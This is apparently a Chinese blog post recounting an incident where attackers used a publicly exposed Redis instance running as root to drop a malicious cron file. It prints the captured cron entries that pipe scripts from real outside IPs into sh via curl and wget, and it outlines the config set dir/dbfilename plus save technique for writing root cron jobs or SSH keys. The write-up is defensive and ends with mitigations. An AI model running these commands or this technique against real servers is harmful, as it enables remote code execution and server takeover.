记一次Redis启动权限过高(root)导致的攻击

开头还是那句话, root执行一定要慎用!

事情还得从收到一条阿里云警报短信开始说起, 上周收到了阿里发过来"可疑计划任务"的短信提示, 随即登录服务器, 发现 /etc/cron.d 文件夹下多了一个叫 zzh 的文件

REDIS0006�backup3�@S@Z
*/4 *�
root curl -fsSL http://47.253.42.213/b2f628fff19fda9�/init.sh | sh
backup2@J
*/3 * * * * root wget -q -O- http://39.100.33.209/b2f628/init.sh | sh
backup1@H
*/2 * * * * root cd1 -fsSL http://39.100.33.209/b2f628/init.sh | sh
backup4�@S@Z
*/5 *�
root wd1 -q -O- http://47.253.42.213/b2f628fff19fda9�/init.sh | sh
���ҙ�_

文件里面充斥着乱码(被压缩)和很可疑的url地址

第一反应: ssh登录秘钥泄露了? 但是root用户是不允许登录的, 登录账号, 不知道密码的情况下, 也不能使用sudo来修改定时任务, 那问题出现在哪...还在思考的时候, 发现这个文件的开头, 有很特别的一串 REDIS0006, 这不是redis么...难道和 redis 有什么关系?随手 ps aux | grep redis 看了眼, 好家伙, redis 用 root 跑着的!

事情一下就变得明朗起来了, 进入 redis-cli, 然后 config get dbfilename, 返回结果

1) "dbfilename"
2) "crontab"

好家伙, 我直接好家伙! 这里的 dump.rdb 被替换成了 crontab, 随机查看了下 config get dir, 返回结果

1) "dir"
2) "/etc"

整个事情大概就明朗起来了, 再 keys 了下(先用info确保你的key量不会太大), 然后根据刚刚那个 zzh 的恶意定时文件里面的 backup3, backup2, backup1 作为关键词, 直接 keys backup, 果然出现了意料之中的结果

1) "backup1"
2) "backup2"
3) "backup3"
4) "backup4"

随便选中一个, get backup2, 返回结果

*/3 * * * * root wget -q -O- http://39.100.33.209/b2f628/init.sh | sh

大概攻击过程已经明了, 接下来是确定攻击入口, 经过一顿查找, 最后发现redis的端口...直接暴露在公网的! 安全组不知道什么时候开启了所有端口的入方向...添加6379端口的入方向拒绝规则堵住攻击入口

攻击流程

这里简单的讲下攻击实现方式吧, 攻击主要针对的是公网能访问的 redis 服务器(绑定 0.0.0.0 IP, 并且端口没有做屏蔽操作), 由于使用 redis 基本上是不会设置密码的, 所以一旦暴露公网, 很容易成为攻击对象, 但是一般情况最严重的也就是非 root 权限级别的操作, 比如 redis 被清空之内的, 然而这次由于我们的 redis 是使用 root 账号运行的, 这就造成了很严重的后果, 比如可以直接往 .ssh/authorized_keys 写入自己的公钥, 然后就能直接访问服务器, 或者往 /etc/cron.d 里面写入使用root执行的恶意shell脚本等.

攻击利用的是 redis 的 备份 操作, 也可以叫 持久化, 原本在 client-cli 中执行 save 是可以往 redis 的默认安装目录写入一个 dump.rdb 文件, 然而, 目录是可以通过 config set dir 进行修改的, 比如修改为 /etc 只需要使用 config set dir '/etc', 同时, 保存的文件名称也是可以使用 config set dbfilename 'name' 进行修改的, 这时候, 只需要将目录和文件名一起修改, 组成一个 /etc/cron.d/xxx 的路径, 然后往 redis 写入数据 set backupxxx "*/3 * * * * root wget -q -O- http://xxxx/bash.sh | sh", 再执行 save 操作, 一个root权限的定时执行脚本就成功写入.

解决方案

 #封掉攻击入口, 比如对外的端口访问
 #降低redis的运行权限, 不使用root运行